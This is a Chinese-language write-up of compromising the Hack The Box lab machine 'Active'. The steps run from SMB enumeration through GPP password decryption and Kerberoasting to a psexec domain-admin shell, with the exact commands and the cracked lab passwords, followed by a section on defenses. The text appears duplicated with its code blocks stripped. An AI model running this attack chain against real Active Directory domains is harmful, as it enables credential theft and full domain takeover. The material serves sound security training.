AD-Active详解
字数 1609 2025-08-12 11:34:46

Active Directory渗透测试实战教学:从信息搜集到域控提权

0x00 前言

本教学文档基于HTB靶机"Active"的渗透过程,详细讲解Active Directory(AD)域渗透的关键技术和原理。通过本案例,您将学习到SMB枚举、GPP密码解密、Kerberoasting攻击等AD域渗透的核心技术。

0x01 信息搜集阶段

1.1 端口扫描与服务识别

使用nmap进行初始扫描,发现以下关键服务:

nmap -sV -sC 10.10.10.100

关键发现:

  • 53/tcp: Microsoft DNS服务,显示域名为active.htb
  • 88/tcp: Kerberos服务
  • 135/tcp: MSRPC
  • 139/tcp: NetBIOS
  • 389/tcp: LDAP (Active Directory)
  • 445/tcp: SMB文件共享
  • 464/tcp: kpasswd5 (Kerberos密码修改)
  • 636/tcp: LDAP over SSL
  • 3268/tcp: 全局目录LDAP

1.2 SMB枚举

使用smbmap工具检查SMB共享权限:

smbmap -H 10.10.10.100

关键发现:

  • Replication共享具有READ ONLY权限,无需认证即可访问
  • 其他共享如ADMIN\(、C\)、IPC$等需要认证

0x02 GPP密码解密攻击

2.1 GPP漏洞原理

组策略首选项(GPP)漏洞:

  • 微软在2012年前允许在组策略中存储密码
  • 密码以"cpassword"字段存储在SYSVOL共享的XML文件中
  • 微软公开了加密密钥,导致这些密码可被解密
  • 虽然微软在2014年发布了补丁,但已存在的GPP密码仍然脆弱

2.2 实际操作步骤

  1. 访问Replication共享:
smbclient //10.10.10.100/Replication -U ""%"" 
  1. 查找Groups.xml文件并获取加密密码:
<!-- Groups.xml示例内容 -->
<Groups>
    <User>
        <username>active.htb\SVC_TGS</username>
        <password>edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ</password>
    </User>
</Groups>
  1. 使用gpp-decrypt解密密码:
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

解密结果:GPPstillStandingStrong2k18

  1. 验证凭据有效性:
crackmapexec smb 10.10.10.100 -u "active.htb\SVC_TGS" -p "GPPstillStandingStrong2k18" --shares
  1. 访问Users共享获取user flag:
smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18

0x03 Kerberoasting攻击

3.1 Kerberoasting原理

Kerberoasting攻击关键点:

  1. 攻击者作为域用户请求服务票据(TGS)
  2. 服务票据使用服务账户的密码哈希加密
  3. 如果服务账户使用弱密码,可以离线破解
  4. 攻击仅需要域用户权限,不需要向目标服务发送流量

3.2 实际操作步骤

  1. 使用GetUserSPNs.py获取服务票据:
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
  1. 将获取的TGS票据保存为hash文件

  2. 使用hashcat破解:

# 查看krb5tgs模块
hashcat --example-hashes | grep krb5tgs -A5 -B5

# 开始破解(使用模式13100)
hashcat -m 13100 hash /root/rockyou.txt --force
  1. 破解结果:管理员密码Ticketmaster1968

3.3 获取域管理员权限

使用psexec.py获取系统shell:

psexec.py Administrator:Ticketmaster1968@10.10.10.100

0x04 防御措施

针对GPP漏洞:

  1. 删除SYSVOL共享中所有包含cpassword的XML文件
  2. 安装MS14-025补丁
  3. 更改所有通过GPP设置的密码

针对Kerberoasting:

  1. 为服务账户设置强密码(>25字符)
  2. 启用"账户敏感,不能被委派"选项
  3. 定期审计服务账户
  4. 启用Kerberos事件日志(事件ID4769)

0x05 总结

本案例展示了完整的AD域渗透路径:

  1. 通过SMB枚举发现Replication共享可读
  2. 利用GPP漏洞获取域用户凭据
  3. 使用域用户权限进行Kerberoasting攻击
  4. 破解服务票据获取管理员密码
  5. 使用psexec获取域控完全权限

0x06 参考资料

  1. Microsoft GPP协议文档: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
  2. Active Directory安全指南: https://rootdse.org/posts/active-directory-security-2/
  3. Kerberos协议规范: RFC 4120
Active Directory渗透测试实战教学:从信息搜集到域控提权 0x00 前言 本教学文档基于HTB靶机"Active"的渗透过程,详细讲解Active Directory(AD)域渗透的关键技术和原理。通过本案例,您将学习到SMB枚举、GPP密码解密、Kerberoasting攻击等AD域渗透的核心技术。 0x01 信息搜集阶段 1.1 端口扫描与服务识别 使用nmap进行初始扫描,发现以下关键服务: 关键发现: 53/tcp: Microsoft DNS服务,显示域名为active.htb 88/tcp: Kerberos服务 135/tcp: MSRPC 139/tcp: NetBIOS 389/tcp: LDAP (Active Directory) 445/tcp: SMB文件共享 464/tcp: kpasswd5 (Kerberos密码修改) 636/tcp: LDAP over SSL 3268/tcp: 全局目录LDAP 1.2 SMB枚举 使用smbmap工具检查SMB共享权限: 关键发现: Replication共享具有READ ONLY权限,无需认证即可访问 其他共享如ADMIN$、C$、IPC$等需要认证 0x02 GPP密码解密攻击 2.1 GPP漏洞原理 组策略首选项(GPP)漏洞: 微软在2012年前允许在组策略中存储密码 密码以"cpassword"字段存储在SYSVOL共享的XML文件中 微软公开了加密密钥,导致这些密码可被解密 虽然微软在2014年发布了补丁,但已存在的GPP密码仍然脆弱 2.2 实际操作步骤 访问Replication共享: 查找Groups.xml文件并获取加密密码: 使用gpp-decrypt解密密码: 解密结果: GPPstillStandingStrong2k18 验证凭据有效性: 访问Users共享获取user flag: 0x03 Kerberoasting攻击 3.1 Kerberoasting原理 Kerberoasting攻击关键点: 攻击者作为域用户请求服务票据(TGS) 服务票据使用服务账户的密码哈希加密 如果服务账户使用弱密码,可以离线破解 攻击仅需要域用户权限,不需要向目标服务发送流量 3.2 实际操作步骤 使用GetUserSPNs.py获取服务票据: 将获取的TGS票据保存为hash文件 使用hashcat破解: 破解结果:管理员密码 Ticketmaster1968 3.3 获取域管理员权限 使用psexec.py获取系统shell: 0x04 防御措施 针对GPP漏洞: 删除SYSVOL共享中所有包含cpassword的XML文件 安装MS14-025补丁 更改所有通过GPP设置的密码 针对Kerberoasting: 为服务账户设置强密码(>25字符) 启用"账户敏感,不能被委派"选项 定期审计服务账户 启用Kerberos事件日志(事件ID4769) 0x05 总结 本案例展示了完整的AD域渗透路径: 通过SMB枚举发现Replication共享可读 利用GPP漏洞获取域用户凭据 使用域用户权限进行Kerberoasting攻击 破解服务票据获取管理员密码 使用psexec获取域控完全权限 0x06 参考资料 Microsoft GPP协议文档: https://learn.microsoft.com/en-us/openspecs/windows_ protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be Active Directory安全指南: https://rootdse.org/posts/active-directory-security-2/ Kerberos协议规范: RFC 4120